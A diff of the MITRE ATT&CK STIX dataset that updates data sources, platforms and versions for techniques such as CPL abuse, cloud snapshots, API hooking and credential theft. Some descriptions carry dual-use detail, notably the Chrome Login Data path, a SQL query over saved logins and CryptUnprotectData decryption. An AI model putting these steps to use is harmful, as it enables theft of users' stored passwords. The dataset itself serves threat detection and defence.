+ "x_mitre_platforms": [ + "Containers" + ], + "x_mitre_data_sources": [ + "Cluster: Cluster Metadata", + "Container: Container Enumeration", + "Container: Container Metadata", + "Pod: Pod Enumeration", + "Pod: Pod Metadata", + "Application Log: Application Log Content" + ] + }, { "id": "attack-pattern--4ff5d6a8-c062-4c68-a778-36fc5edd564f", "description": "Adversaries may abuse control.exe to proxy execution of malicious payloads. The Windows Control Panel process binary (control.exe) handles execution of Control Panel items, which are utilities that allow users to view and adjust computer settings.\n\nControl Panel items are registered executable (.exe) or Control Panel (.cpl) files, the latter are actually renamed dynamic-link library (.dll) files that export a CPlApplet function.(Citation: Microsoft Implementing CPL)(Citation: TrendMicro CPL Malware Jan 2014) For ease of use, Control Panel items typically include graphical menus available to users after being registered and loaded into the Control Panel.(Citation: Microsoft Implementing CPL) Control Panel items can be executed directly from the command line, programmatically via an application programming interface (API) call, or by simply double-clicking the file.(Citation: Microsoft Implementing CPL) (Citation: TrendMicro CPL Malware Jan 2014)(Citation: TrendMicro CPL Malware Dec 2013)\n\nMalicious Control Panel items can be delivered via [Phishing](https://attack.mitre.org/techniques/T1566) campaigns(Citation: TrendMicro CPL Malware Jan 2014)(Citation: TrendMicro CPL Malware Dec 2013) or executed as part of multi-stage malware.(Citation: Palo Alto Reaver Nov 2017) Control Panel items, specifically CPL files, may also bypass application and/or file extension allow lists.\n\nAdversaries may also rename malicious DLL files (.dll) with Control Panel file extensions (.cpl) and register them to HKCU\\Software\\Microsoft\\Windows\\CurrentVersion\\Control Panel\\Cpls. Even when these registered DLLs do not comply with the CPL file specification and do not export CPlApplet functions, they are loaded and executed through its DllEntryPoint when Control Panel is executed. CPL files not exporting CPlApplet are not directly executable.(Citation: ESET InvisiMole June 2020)", @@ -5846,12 +6237,12 @@ "Windows" ], "x_mitre_data_sources": [ - "Process monitoring", - "Process command-line parameters", - "Windows Registry", - "DLL monitoring", - "Binary file metadata", - "API monitoring" + "Process: Process Creation", + "File: File Creation", + "Module: Module Load", + "Process: OS API Execution", + "Command: Command Execution", + "Windows Registry: Windows Registry Key Modification" ], "x_mitre_detection": "Monitor and analyze activity related to items associated with CPL files, such as the control.exe and the Control_RunDLL and ControlRunDLLAsUser API functions in shell32.dll. When executed from the command line or clicked, control.exe will execute the CPL file (ex: control.exe file.cpl) before [Rundll32](https://attack.mitre.org/techniques/T1218/011) is used to call the CPL's API functions (ex: rundll32.exe shell32.dll,Control_RunDLL file.cpl). CPL files can be executed directly via the CPL API function with just the latter [Rundll32](https://attack.mitre.org/techniques/T1218/011) command, which may bypass detections and/or execution filters for control.exe.(Citation: TrendMicro CPL Malware Jan 2014)\n\nInventory Control Panel items to locate unregistered and potentially malicious files present on systems:\n\n* Executable format registered Control Panel items will have a globally unique identifier (GUID) and registration Registry entries in HKEY_LOCAL_MACHINE\\SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Explorer\\ControlPanel\\NameSpace and HKEY_CLASSES_ROOT\\CLSID\\{GUID}. These entries may contain information about the Control Panel item such as its display name, path to the local file, and the command executed when opened in the Control Panel. (Citation: Microsoft Implementing CPL)\n* CPL format registered Control Panel items stored in the System32 directory are automatically shown in the Control Panel. Other Control Panel items will have registration entries in the CPLs and Extended Properties Registry keys of HKEY_LOCAL_MACHINE or HKEY_CURRENT_USER\\Software\\Microsoft\\Windows\\CurrentVersion\\Control Panel. These entries may include information such as a GUID, path to the local file, and a canonical name used to launch the file programmatically ( WinExec(\"c:\\windows\\system32\\control.exe {Canonical_Name}\", SW_NORMAL);) or from a command line (control.exe /name {Canonical_Name}).(Citation: Microsoft Implementing CPL)\n* Some Control Panel items are extensible via Shell extensions registered in HKEY_LOCAL_MACHINE\\Software\\Microsoft\\Windows\\CurrentVersion\\Controls Folder\\{name}\\Shellex\\PropertySheetHandlers where {name} is the predefined name of the system item.(Citation: Microsoft Implementing CPL)\n\nAnalyze new Control Panel items as well as those present on disk for malicious content. Both executable and CPL formats are compliant Portable Executable (PE) images and can be examined using traditional tools and methods, pending anti-reverse-engineering techniques.(Citation: TrendMicro CPL Malware Jan 2014)", "x_mitre_defense_bypassed": [ @@ -5927,33 +6318,28 @@ "phase_name": "persistence" } ], - "modified": "2020-03-24T12:44:28.199Z", + "modified": "2021-03-16T12:47:00.458Z", "created": "2017-12-14T16:46:06.044Z", "x_mitre_is_subtechnique": false, "x_mitre_contributors": [ "Microsoft Threat Intelligence Center (MSTIC)", "Praetorian" ], - "x_mitre_version": "2.1", + "x_mitre_version": "2.2", "x_mitre_data_sources": [ - "Office 365 account logs", - "Azure activity logs", - "AWS CloudTrail logs", - "Process monitoring", - "Process command-line parameters", - "Authentication logs", - "Windows event logs" + "User Account: User Account Creation", + "Process: Process Creation", + "Command: Command Execution" ], "x_mitre_detection": "Monitor for processes and command-line parameters associated with account creation, such as net user or useradd. Collect data on account creation within a network. Event ID 4720 is generated when a user account is created on a Windows system and domain controller. (Citation: Microsoft User Creation Event) Perform regular audits of domain and local system accounts to detect suspicious accounts that may have been created by an adversary.\n\nCollect usage logs from cloud administrator accounts to identify unusual activity in the creation of new accounts and assignment of roles to those accounts. Monitor for accounts assigned to admin roles that go over a certain threshold of known admins.", "x_mitre_platforms": [ + "Windows", + "Azure AD", + "Office 365", + "IaaS", "Linux", "macOS", - "Windows", - "AWS", - "GCP", - "Azure AD", - "Azure", - "Office 365" + "Google Workspace" ], "x_mitre_permissions_required": [ "Administrator" @@ -6001,24 +6387,19 @@ "phase_name": "defense-evasion" } ], - "modified": "2020-09-14T19:48:08.299Z", + "modified": "2021-03-08T10:33:02.034Z", "created": "2020-05-14T14:45:15.978Z", "x_mitre_platforms": [ - "AWS", - "GCP", - "Azure" + "IaaS" ], "x_mitre_data_sources": [ - "GCP audit logs", - "Stackdriver logs", - "Azure activity logs", - "AWS CloudTrail logs" + "Instance: Instance Creation" ], "x_mitre_permissions_required": [ "User" ], "x_mitre_is_subtechnique": true, - "x_mitre_version": "1.0", + "x_mitre_version": "1.1", "x_mitre_detection": "The creation of a new instance or VM is a common part of operations within many cloud environments. Events should then not be viewed in isolation, but as part of a chain of behavior that could lead to other activities. For example, the creation of an instance by a new user account or the unexpected creation of one or more snapshots followed by the creation of an instance may indicate suspicious activity.\n\nIn AWS, CloudTrail logs capture the creation of an instance in the RunInstances event, and in Azure the creation of a VM may be captured in Azure activity logs.(Citation: AWS CloudTrail Search)(Citation: Azure Activity Logs) Google's Admin Activity audit logs within their Cloud Audit logs can be used to detect the usage of gcloud compute instances create to create a VM.(Citation: Cloud Audit Logs)" }, { @@ -6063,10 +6444,8 @@ ], "x_mitre_detection": "If an adversary is using a standard command-line shell, analysts can detect token manipulation by auditing command-line activity. Specifically, analysts should look for use of the runas command. Detailed command-line logging is not enabled by default in Windows.(Citation: Microsoft Command-line Logging)\n\nIf an adversary is using a payload that calls the Windows token APIs directly, analysts can detect token manipulation only through careful analysis of user network activity, examination of running processes, and correlation with other endpoint and network behavior.\n\nAnalysts can also monitor for use of Windows APIs such as DuplicateToken(Ex) and CreateProcessWithTokenW and correlate activity with other suspicious behavior to reduce false positives that may be due to normal benign use by users and administrators.", "x_mitre_data_sources": [ - "Process command-line parameters", - "Process monitoring", - "Access tokens", - "API monitoring" + "Process: OS API Execution", + "Command: Command Execution" ], "x_mitre_platforms": [ "Windows" @@ -6110,7 +6489,7 @@ ], "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "name": "Create Snapshot", - "description": "An adversary may create a snapshot or data backup within a cloud account to evade defenses. A snapshot is a point-in-time copy of an existing cloud compute component such as a virtual machine (VM), virtual hard drive, or volume. An adversary may leverage permissions to create a snapshot in order to bypass restrictions that prevent access to existing compute service infrastructure, unlike in [Revert Cloud Instance](https://attack.mitre.org/techniques/T1536) where an adversary may revert to a snapshot to evade detection and remove evidence of their presence.\n\nAn adversary may [Create Cloud Instance](https://attack.mitre.org/techniques/T1578/002), mount one or more created snapshots to that instance, and then apply a policy that allows the adversary access to the created instance, such as a firewall policy that allows them inbound and outbound SSH access.(Citation: Mandiant M-Trends 2020)", + "description": "An adversary may create a snapshot or data backup within a cloud account to evade defenses. A snapshot is a point-in-time copy of an existing cloud compute component such as a virtual machine (VM), virtual hard drive, or volume. An adversary may leverage permissions to create a snapshot in order to bypass restrictions that prevent access to existing compute service infrastructure, unlike in [Revert Cloud Instance](https://attack.mitre.org/techniques/T1578/004) where an adversary may revert to a snapshot to evade detection and remove evidence of their presence.\n\nAn adversary may [Create Cloud Instance](https://attack.mitre.org/techniques/T1578/002), mount one or more created snapshots to that instance, and then apply a policy that allows the adversary access to the created instance, such as a firewall policy that allows them inbound and outbound SSH access.(Citation: Mandiant M-Trends 2020)", "id": "attack-pattern--ed2e45f9-d338-4eb2-8ce5-3a2e03323bc1", "type": "attack-pattern", "kill_chain_phases": [ @@ -6119,27 +6498,22 @@ "phase_name": "defense-evasion" } ], - "modified": "2020-09-14T19:48:08.293Z", + "modified": "2021-03-08T10:33:02.060Z", "created": "2020-06-09T15:33:13.563Z", - "x_mitre_version": "1.0", + "x_mitre_version": "1.1", "x_mitre_is_subtechnique": true, "x_mitre_permissions_required": [ "User" ], "x_mitre_detection": "The creation of a snapshot is a common part of operations within many cloud environments. Events should then not be viewed in isolation, but as part of a chain of behavior that could lead to other activities such as the creation of one or more snapshots and the restoration of these snapshots by a new user account.\n\nIn AWS, CloudTrail logs capture the creation of snapshots and all API calls for AWS Backup as events. Using the information collected by CloudTrail, you can determine the request that was made, the IP address from which the request was made, which user made the request, when it was made, and additional details.(Citation: AWS Cloud Trail Backup API).\n\nIn Azure, the creation of a snapshot may be captured in Azure activity logs. Backup restoration events can also be detected through Azure Monitor Log Data by creating a custom alert for completed restore jobs.(Citation: Azure - Monitor Logs)\n\nGoogle's Admin Activity audit logs within their Cloud Audit logs can be used to detect the usage of the gcloud compute instances create command to create a new VM disk from a snapshot.(Citation: Cloud Audit Logs) It is also possible to detect the usage of the GCP API with the \"sourceSnapshot\": parameter pointed to \"global/snapshots/[BOOT_SNAPSHOT_NAME].(Citation: GCP - Creating and Starting a VM)", "x_mitre_data_sources": [ - "GCP audit logs", - "Stackdriver logs", - "Azure activity logs", - "AWS CloudTrail logs" + "Snapshot: Snapshot Creation" ], "x_mitre_contributors": [ "Praetorian" ], "x_mitre_platforms": [ - "AWS", - "GCP", - "Azure" + "IaaS" ] }, { @@ -6186,11 +6560,15 @@ "modified": "2020-10-09T13:46:29.922Z", "created": "2020-01-10T16:03:18.865Z", "x_mitre_data_sources": [ - "Windows event logs", - "Windows Registry", - "File monitoring", - "Process command-line parameters", - "Process monitoring" + "Service: Service Creation", + "Service: Service Modification", + "Process: Process Creation", + "Process: OS API Execution", + "Command: Command Execution", + "Windows Registry: Windows Registry Key Creation", + "Windows Registry: Windows Registry Key Modification", + "File: File Creation", + "File: File Modification" ], "x_mitre_version": "1.0", "x_mitre_is_subtechnique": false, @@ -6221,7 +6599,7 @@ { "url": "https://www.endgame.com/blog/technical-blog/ten-process-injection-techniques-technical-survey-common-and-trending-process", "description": "Hosseini, A. (2017, July 18). Ten Process Injection Techniques: A Technical Survey Of Common And Trending Process Injection Techniques. Retrieved December 7, 2017.", - "source_name": "Endgame Process Injection July 2017" + "source_name": "Elastic Process Injection July 2017" }, { "url": "https://www.adlice.com/userland-rootkits-part-1-iat-hooks/", @@ -6284,7 +6662,7 @@ ], "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "name": "Credential API Hooking", - "description": "Adversaries may hook into Windows application programming interface (API) functions to collect user credentials. Malicious hooking mechanisms may capture API calls that include parameters that reveal user authentication credentials.(Citation: Microsoft TrojanSpy:Win32/Ursnif.gen!I Sept 2017) Unlike [Keylogging](https://attack.mitre.org/techniques/T1056/001), this technique focuses specifically on API functions that include parameters that reveal user credentials. Hooking involves redirecting calls to these functions and can be implemented via:\n\n* **Hooks procedures**, which intercept and execute designated code in response to events such as messages, keystrokes, and mouse inputs.(Citation: Microsoft Hook Overview)(Citation: Endgame Process Injection July 2017)\n* **Import address table (IAT) hooking**, which use modifications to a process\u2019s IAT, where pointers to imported API functions are stored.(Citation: Endgame Process Injection July 2017)(Citation: Adlice Software IAT Hooks Oct 2014)(Citation: MWRInfoSecurity Dynamic Hooking 2015)\n* **Inline hooking**, which overwrites the first bytes in an API function to redirect code flow.(Citation: Endgame Process Injection July 2017)(Citation: HighTech Bridge Inline Hooking Sept 2011)(Citation: MWRInfoSecurity Dynamic Hooking 2015)\n", + "description": "Adversaries may hook into Windows application programming interface (API) functions to collect user credentials. Malicious hooking mechanisms may capture API calls that include parameters that reveal user authentication credentials.(Citation: Microsoft TrojanSpy:Win32/Ursnif.gen!I Sept 2017) Unlike [Keylogging](https://attack.mitre.org/techniques/T1056/001), this technique focuses specifically on API functions that include parameters that reveal user credentials. Hooking involves redirecting calls to these functions and can be implemented via:\n\n* **Hooks procedures**, which intercept and execute designated code in response to events such as messages, keystrokes, and mouse inputs.(Citation: Microsoft Hook Overview)(Citation: Elastic Process Injection July 2017)\n* **Import address table (IAT) hooking**, which use modifications to a process\u2019s IAT, where pointers to imported API functions are stored.(Citation: Elastic Process Injection July 2017)(Citation: Adlice Software IAT Hooks Oct 2014)(Citation: MWRInfoSecurity Dynamic Hooking 2015)\n* **Inline hooking**, which overwrites the first bytes in an API function to redirect code flow.(Citation: Elastic Process Injection July 2017)(Citation: HighTech Bridge Inline Hooking Sept 2011)(Citation: MWRInfoSecurity Dynamic Hooking 2015)\n", "id": "attack-pattern--f5946b5e-9408-485f-a7f7-b5efc88909b6", "type": "attack-pattern", "kill_chain_phases": [ @@ -6297,15 +6675,11 @@ "phase_name": "credential-access" } ], - "modified": "2020-03-24T21:29:13.565Z", + "modified": "2020-11-10T18:29:31.138Z", "created": "2020-02-11T19:01:15.930Z", "x_mitre_data_sources": [ - "Windows event logs", - "Process monitoring", - "Loaded DLLs", - "DLL monitoring", - "Binary file metadata", - "API monitoring" + "Process: OS API Execution", + "Process: Process Metadata" ], "x_mitre_permissions_required": [ "Administrator", @@ -6350,28 +6724,28 @@ "phase_name": "credential-access" } ], - "modified": "2020-10-19T22:43:45.475Z", + "modified": "2021-04-06T12:31:06.695Z", "created": "2020-02-11T18:39:59.959Z", "x_mitre_platforms": [ + "Windows", + "Azure AD", + "Office 365", + "SaaS", + "IaaS", "Linux", "macOS", - "Windows", - "AWS", - "GCP", - "Azure", - "Office 365", - "Azure AD", - "SaaS" + "Google Workspace", + "Containers" ], "x_mitre_is_subtechnique": true, - "x_mitre_version": "1.1", + "x_mitre_version": "1.2", "x_mitre_detection": "Monitor authentication logs for system and application login failures of [Valid Accounts](https://attack.mitre.org/techniques/T1078). If authentication failures are high, then there may be a brute force attempt to gain access to a system using legitimate credentials.", "x_mitre_permissions_required": [ "User" ], "x_mitre_data_sources": [ - "Authentication logs", - "Office 365 account logs" + "User Account: User Account Authentication", + "Application Log: Application Log Content" ], "x_mitre_contributors": [ "Diogo Fernandes", @@ -6431,7 +6805,7 @@ ], "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "name": "Credentials", - "description": "Before compromising a victim, adversaries may gather credentials that can be used during targeting. Account credentials gathered by adversaries may be those directly associated with the target victim organization or attempt to take advantage of the tendency for users to use the same passwords across personal and business accounts.\n\nAdversaries may gather credentials from potential victims in various ways, such as direct elicitation via [Phishing for Information](https://attack.mitre.org/techniques/T1598). Adversaries may also compromise sites then include malicious content designed to collect website authentication cookies from visitors.(Citation: ATT ScanBox) Credential information may also be exposed to adversaries via leaks to online or other accessible data sets (ex: [Search Engines](https://attack.mitre.org/techniques/T1593/002), breach dumps, code repositories, etc.).(Citation: Register Deloitte)(Citation: Register Uber)(Citation: Detectify Slack Tokens)(Citation: Forbes GitHub Creds)(Citation: GitHub truffleHog)(Citation: GitHub Gitrob)(Citation: CNET Leaks) Adversaries may also purchase credentials from dark web or other black-markets. Gathering this information may reveal opportunities for other forms of reconnaissance (ex: [Search Open Websites/Domains](https://attack.mitre.org/techniques/T1593) or [Phishing for Information](https://attack.mitre.org/techniques/T1598)), establishing operational resources (ex: [Compromise Accounts](https://attack.mitre.org/techniques/T1586)), and/or initial access (ex: [External Remote Services](https://attack.mitre.org/techniques/T1133) or [Valid Accounts](https://attack.mitre.org/techniques/T1078)).", + "description": "Adversaries may gather credentials that can be used during targeting. Account credentials gathered by adversaries may be those directly associated with the target victim organization or attempt to take advantage of the tendency for users to use the same passwords across personal and business accounts.\n\nAdversaries may gather credentials from potential victims in various ways, such as direct elicitation via [Phishing for Information](https://attack.mitre.org/techniques/T1598). Adversaries may also compromise sites then include malicious content designed to collect website authentication cookies from visitors.(Citation: ATT ScanBox) Credential information may also be exposed to adversaries via leaks to online or other accessible data sets (ex: [Search Engines](https://attack.mitre.org/techniques/T1593/002), breach dumps, code repositories, etc.).(Citation: Register Deloitte)(Citation: Register Uber)(Citation: Detectify Slack Tokens)(Citation: Forbes GitHub Creds)(Citation: GitHub truffleHog)(Citation: GitHub Gitrob)(Citation: CNET Leaks) Adversaries may also purchase credentials from dark web or other black-markets. Gathering this information may reveal opportunities for other forms of reconnaissance (ex: [Search Open Websites/Domains](https://attack.mitre.org/techniques/T1593) or [Phishing for Information](https://attack.mitre.org/techniques/T1598)), establishing operational resources (ex: [Compromise Accounts](https://attack.mitre.org/techniques/T1586)), and/or initial access (ex: [External Remote Services](https://attack.mitre.org/techniques/T1133) or [Valid Accounts](https://attack.mitre.org/techniques/T1078)).", "id": "attack-pattern--bc76d0a4-db11-4551-9ac4-01a469cfb161", "type": "attack-pattern", "kill_chain_phases": [ @@ -6440,7 +6814,7 @@ "phase_name": "reconnaissance" } ], - "modified": "2020-10-27T02:27:31.090Z", + "modified": "2021-04-15T03:26:44.352Z", "created": "2020-10-02T14:55:43.815Z", "x_mitre_contributors": [ "Vinayak Wadhwa, Lucideus", @@ -6455,17 +6829,8 @@ ] }, { - "created": "2020-02-04T12:52:13.006Z", - "modified": "2020-03-25T18:30:10.630Z", - "kill_chain_phases": [ - { - "kill_chain_name": "mitre-attack", - "phase_name": "credential-access" - } - ], - "type": "attack-pattern", "id": "attack-pattern--837f9164-50af-4ac0-8219-379d8a74cefc", - "description": "Adversaries may search local file systems and remote file shares for files containing insecurely stored credentials. These can be files created by users to store their own credentials, shared credential stores for a group of individuals, configuration files containing passwords for a system or service, or source code/binary files containing embedded passwords.\n\nIt is possible to extract passwords from backups or saved virtual machines through [OS Credential Dumping](https://attack.mitre.org/techniques/T1003). (Citation: CG 2014) Passwords may also be obtained from Group Policy Preferences stored on the Windows Domain Controller. (Citation: SRD GPP)\n\nIn cloud environments, authenticated user credentials are often stored in local configuration and credential files. In some cases, these files can be copied and reused on another machine or the contents can be read and then used to authenticate without needing to copy any files. (Citation: Specter Ops - Cloud Credential Storage)", + "description": "Adversaries may search local file systems and remote file shares for files containing insecurely stored credentials. These can be files created by users to store their own credentials, shared credential stores for a group of individuals, configuration files containing passwords for a system or service, or source code/binary files containing embedded passwords.\n\nIt is possible to extract passwords from backups or saved virtual machines through [OS Credential Dumping](https://attack.mitre.org/techniques/T1003). (Citation: CG 2014) Passwords may also be obtained from Group Policy Preferences stored on the Windows Domain Controller. (Citation: SRD GPP)\n\nIn cloud and/or containerized environments, authenticated user and service account credentials are often stored in local configuration and credential files.(Citation: Unit 42 Hildegard Malware) They may also be found as parameters to deployment commands in container logs.(Citation: Unit 42 Unsecured Docker Daemons) In some cases, these files can be copied and reused on another machine or the contents can be read and then used to authenticate without needing to copy any files.(Citation: Specter Ops - Cloud Credential Storage)", "name": "Credentials In Files", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "object_marking_refs": [ @@ -6492,26 +6857,48 @@ "description": "Security Research and Defense. (2014, May 13). MS14-025: An Update for Group Policy Preferences. Retrieved January 28, 2015.", "source_name": "SRD GPP" }, + { + "source_name": "Unit 42 Hildegard Malware", + "url": "https://unit42.paloaltonetworks.com/hildegard-malware-teamtnt/", + "description": "Chen, J. et al. (2021, February 3). Hildegard: New TeamTNT Cryptojacking Malware Targeting Kubernetes. Retrieved April 5, 2021." + }, + { + "source_name": "Unit 42 Unsecured Docker Daemons", + "url": "https://unit42.paloaltonetworks.com/attackers-tactics-and-techniques-in-unsecured-docker-daemons-revealed/", + "description": "Chen, J.. (2020, January 29). Attacker's Tactics and Techniques in Unsecured Docker Daemons Revealed. Retrieved March 31, 2021." + }, { "source_name": "Specter Ops - Cloud Credential Storage", "url": "https://posts.specterops.io/head-in-the-clouds-bd038bb69e48", "description": "Maddalena, C.. (2018, September 12). Head in the Clouds. Retrieved October 4, 2019." } ], + "type": "attack-pattern", + "kill_chain_phases": [ + { + "kill_chain_name": "mitre-attack", + "phase_name": "credential-access" + } + ], + "modified": "2021-04-12T18:32:32.803Z", + "created": "2020-02-04T12:52:13.006Z", "x_mitre_platforms": [ + "Windows", + "IaaS", "Linux", "macOS", - "Windows", - "AWS", - "GCP", - "Azure" + "Containers" ], "x_mitre_contributors": [ + "Rory McCune, Aqua Security", + "Jay Chen, Palo Alto Networks", + "Yossi Weizman, Azure Defender Research Team", + "Vishwas Manral, McAfee", "Microsoft Threat Intelligence Center (MSTIC)" ], "x_mitre_data_sources": [ - "Process command-line parameters", - "File monitoring" + "File: File Access", + "Command: Command Execution" ], "x_mitre_detection": "While detecting adversaries accessing these files may be difficult without knowing they exist in the first place, it may be possible to detect adversary use of credentials they have obtained. Monitor the command-line arguments of executing processes for suspicious words or regular expressions that may indicate searching for a password (for example: password, pwd, login, secure, or credentials). See [Valid Accounts](https://attack.mitre.org/techniques/T1078) for more information.", "x_mitre_permissions_required": [ @@ -6523,18 +6910,9 @@ "Access to files" ], "x_mitre_is_subtechnique": true, - "x_mitre_version": "1.0" + "x_mitre_version": "1.1" }, { - "created": "2020-02-11T18:48:28.456Z", - "modified": "2020-03-25T18:40:15.564Z", - "kill_chain_phases": [ - { - "kill_chain_name": "mitre-attack", - "phase_name": "credential-access" - } - ], - "type": "attack-pattern", "id": "attack-pattern--3fc9b85a-2862-4363-a64d-d692e3ffbee0", "description": "Adversaries may search for common password storage locations to obtain user credentials. Passwords are stored in several places on a system, depending on the operating system or application holding the credentials. There are also specific applications that store passwords to make it easier for users manage and maintain. Once credentials are obtained, they can be used to perform lateral movement and access restricted information.", "name": "Credentials from Password Stores", @@ -6549,6 +6927,15 @@ "url": "https://attack.mitre.org/techniques/T1555" } ], + "type": "attack-pattern", + "kill_chain_phases": [ + { + "kill_chain_name": "mitre-attack", + "phase_name": "credential-access" + } + ], + "modified": "2021-04-29T21:00:19.428Z", + "created": "2020-02-11T18:48:28.456Z", "x_mitre_platforms": [ "Linux", "macOS", @@ -6561,11 +6948,11 @@ "Administrator" ], "x_mitre_data_sources": [ - "PowerShell logs", - "API monitoring", - "File monitoring", - "Process monitoring", - "System calls" + "Process: Process Creation", + "File: File Access", + "Command: Command Execution", + "Process: OS API Execution", + "Process: Process Access" ] }, { @@ -6581,7 +6968,7 @@ "description": "Mercer, W. and Rascagneres, P. (2018, February 12). Olympic Destroyer Takes Aim At Winter Olympics. Retrieved March 14, 2019." }, { - "source_name": "Microsoft CryptUnprotectData \u200eApril 2018", + "source_name": "Microsoft CryptUnprotectData April 2018", "url": "https://docs.microsoft.com/en-us/windows/desktop/api/dpapi/nf-dpapi-cryptunprotectdata", "description": "Microsoft. (2018, April 12). CryptUnprotectData function. Retrieved June 18, 2019." }, @@ -6605,12 +6992,12 @@ "id": "attack-pattern--4579d9c9-d5b9-45e0-9848-0104637b579f", "revoked": true, "type": "attack-pattern", - "modified": "2020-02-12T18:57:58.395Z", + "modified": "2020-11-17T16:03:55.549Z", "created": "2019-06-17T19:34:51.855Z" }, { "created": "2020-02-12T18:57:36.041Z", - "modified": "2020-02-17T13:20:02.386Z", + "modified": "2021-04-14T14:03:47.293Z", "kill_chain_phases": [ { "kill_chain_name": "mitre-attack", @@ -6618,13 +7005,6 @@ } ], "type": "attack-pattern", - "id": "attack-pattern--58a3e6aa-4453-4cc8-a51f-4befe80b31a8", - "description": "Adversaries may acquire credentials from web browsers by reading files specific to the target browser.(Citation: Talos Olympic Destroyer 2018) Web browsers commonly save credentials such as website usernames and passwords so that they do not need to be entered manually in the future. Web browsers typically store the credentials in an encrypted format within a credential store; however, methods exist to extract plaintext credentials from web browsers.\n\nFor example, on Windows systems, encrypted credentials may be obtained from Google Chrome by reading a database file, AppData\\Local\\Google\\Chrome\\User Data\\Default\\Login Data and executing a SQL query: SELECT action_url, username_value, password_value FROM logins;. The plaintext password can then be obtained by passing the encrypted credentials to the Windows API function CryptUnprotectData, which uses the victim\u2019s cached logon credentials as the decryption key. (Citation: Microsoft CryptUnprotectData \u200eApril 2018)\n \nAdversaries have executed similar procedures for common web browsers such as FireFox, Safari, Edge, etc. (Citation: Proofpoint Vega Credential Stealer May 2018)(Citation: FireEye HawkEye Malware July 2017)\n\nAdversaries may also acquire credentials by searching web browser process memory for patterns that commonly match credentials.(Citation: GitHub Mimikittenz July 2016)\n\nAfter acquiring credentials from web browsers, adversaries may attempt to recycle the credentials across different systems and/or accounts in order to expand access. This can result in significantly furthering an adversary's objective in cases where credentials gained from web browsers overlap with privileged accounts (e.g. domain administrator).", - "name": "Credentials from Web Browsers", - "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", - "object_marking_refs": [ - "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" - ], "external_references": [ { "source_name": "mitre-attack", @@ -6637,7 +7017,7 @@ "description": "Mercer, W. and Rascagneres, P. (2018, February 12). Olympic Destroyer Takes Aim At Winter Olympics. Retrieved March 14, 2019." }, { - "source_name": "Microsoft CryptUnprotectData \u200eApril 2018", + "source_name": "Microsoft CryptUnprotectData April 2018", "url": "https://docs.microsoft.com/en-us/windows/desktop/api/dpapi/nf-dpapi-cryptunprotectdata", "description": "Microsoft. (2018, April 12). CryptUnprotectData function. Retrieved June 18, 2019." }, @@ -6657,16 +7037,18 @@ "description": "Jamieson O'Reilly (putterpanda). (2016, July 4). mimikittenz. Retrieved June 20, 2019." } ], - "x_mitre_platforms": [ - "Linux", - "macOS", - "Windows" + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" ], - "x_mitre_is_subtechnique": true, - "x_mitre_version": "1.0", - "x_mitre_detection": "Identify web browser files that contain credentials such as Google Chrome\u2019s Login Data database file: AppData\\Local\\Google\\Chrome\\User Data\\Default\\Login Data. Monitor file read events of web browser files that contain credentials, especially when the reading process is unrelated to the subject web browser. Monitor process execution logs to include PowerShell Transcription focusing on those that perform a combination of behaviors including reading web browser process memory, utilizing regular expressions, and those that contain numerous keywords for common web applications (Gmail, Twitter, Office365, etc.).", - "x_mitre_permissions_required": [ - "User" + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "name": "Credentials from Web Browsers", + "description": "Adversaries may acquire credentials from web browsers by reading files specific to the target browser.(Citation: Talos Olympic Destroyer 2018) Web browsers commonly save credentials such as website usernames and passwords so that they do not need to be entered manually in the future. Web browsers typically store the credentials in an encrypted format within a credential store; however, methods exist to extract plaintext credentials from web browsers.\n\nFor example, on Windows systems, encrypted credentials may be obtained from Google Chrome by reading a database file, AppData\\Local\\Google\\Chrome\\User Data\\Default\\Login Data and executing a SQL query: SELECT action_url, username_value, password_value FROM logins;. The plaintext password can then be obtained by passing the encrypted credentials to the Windows API function CryptUnprotectData, which uses the victim\u2019s cached logon credentials as the decryption key. (Citation: Microsoft CryptUnprotectData April 2018)\n \nAdversaries have executed similar procedures for common web browsers such as FireFox, Safari, Edge, etc.(Citation: Proofpoint Vega Credential Stealer May 2018)(Citation: FireEye HawkEye Malware July 2017) Windows stores Internet Explorer and Microsoft Edge credentials in Credential Lockers managed by the [Windows Credential Manager](https://attack.mitre.org/techniques/T1555/004).\n\nAdversaries may also acquire credentials by searching web browser process memory for patterns that commonly match credentials.(Citation: GitHub Mimikittenz July 2016)\n\nAfter acquiring credentials from web browsers, adversaries may attempt to recycle the credentials across different systems and/or accounts in order to expand access. This can result in significantly furthering an adversary's objective in cases where credentials gained from web browsers overlap with privileged accounts (e.g. domain administrator).", + "id": "attack-pattern--58a3e6aa-4453-4cc8-a51f-4befe80b31a8", + "x_mitre_data_sources": [ + "File: File Access", + "Command: Command Execution", + "Process: OS API Execution", + "Process: Process Access" ], "x_mitre_contributors": [ "Ryan Benson, Exabeam", @@ -6674,11 +7056,16 @@ "Sylvain Gil, Exabeam", "RedHuntLabs, @redhuntlabs" ], - "x_mitre_data_sources": [ - "File monitoring", - "API monitoring", - "PowerShell logs", - "Process monitoring" + "x_mitre_permissions_required": [ + "User" + ], + "x_mitre_detection": "Identify web browser files that contain credentials such as Google Chrome\u2019s Login Data database file: AppData\\Local\\Google\\Chrome\\User Data\\Default\\Login Data. Monitor file read events of web browser files that contain credentials, especially when the reading process is unrelated to the subject web browser. Monitor process execution logs to include PowerShell Transcription focusing on those that perform a combination of behaviors including reading web browser process memory, utilizing regular expressions, and those that contain numerous keywords for common web applications (Gmail, Twitter, Office365, etc.).", + "x_mitre_version": "1.1", + "x_mitre_is_subtechnique": true, + "x_mitre_platforms": [ + "Linux", + "macOS", + "Windows" ] }, { @@ -6713,7 +7100,7 @@ "id": "attack-pattern--ba8e391f-14b5-496f-81f2-2d5ecd646c1c", "revoked": true, "type": "attack-pattern", - "modified": "2020-02-04T12:55:03.678Z", + "modified": "2021-03-08T10:33:00.910Z", "created": "2017-05-31T21:31:02.188Z" }, { @@ -6737,6 +7124,22 @@ "created": "2018-04-18T17:59:24.739Z" }, { + "created": 